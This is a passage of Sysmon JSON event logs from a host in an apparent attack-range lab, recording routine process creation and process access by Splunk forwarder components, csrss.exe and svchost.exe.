11:57:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5968,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:37.526\r\nSourceProcessGUID: {90617006-41B1-5F2D-0000-0010A0E70800}\r\nSourceProcessId: 1392\r\nSourceThreadId: 4948\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nTargetProcessId: 5056\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x101400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+6025c5|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+6020f6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+59e67|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+5b88c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+8e7d70|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:57:37.526","SourceProcessGUID":"{90617006-41B1-5F2D-0000-0010A0E70800}","SourceProcessId":"1392","SourceThreadId":"4948","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe","TargetProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","TargetProcessId":"5056","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x101400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+6025c5|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+6020f6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+59e67|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+5b88c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+8e7d70|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:57:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":5969,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:38.136\r\nProcessGuid: {90617006-41B2-5F2D-0000-0010C7E90800}\r\nProcessId: 3640\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe\r\nFileVersion: 8.0.2\r\nDescription: Network monitor\r\nProduct: Splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunk-netmon.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AEC\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:57:38.136","ProcessGuid":"{90617006-41B2-5F2D-0000-0010C7E90800}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe","FileVersion":"8.0.2","Description":"Network monitor","Product":"Splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunk-netmon.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AEC","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:57:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5970,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:38.135\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 3932\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-41B2-5F2D-0000-0010C7E90800}\r\nTargetProcessId: 3640\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:57:38.135","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"3932","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-41B2-5F2D-0000-0010C7E90800}","TargetProcessId":"3640","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:57:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5971,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:38.135\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-41B2-5F2D-0000-0010C7E90800}\r\nTargetProcessId: 3640\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:57:38.135","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-41B2-5F2D-0000-0010C7E90800}","TargetProcessId":"3640","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:57:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5972,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:38.135\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:57:38.135","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:57:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5973,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:38.135\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:57:38.135","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:57:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5974,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:38.135\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:57:38.135","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:57:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5975,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:38.135\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:57:38.135","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:57:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5976,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:38.135\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 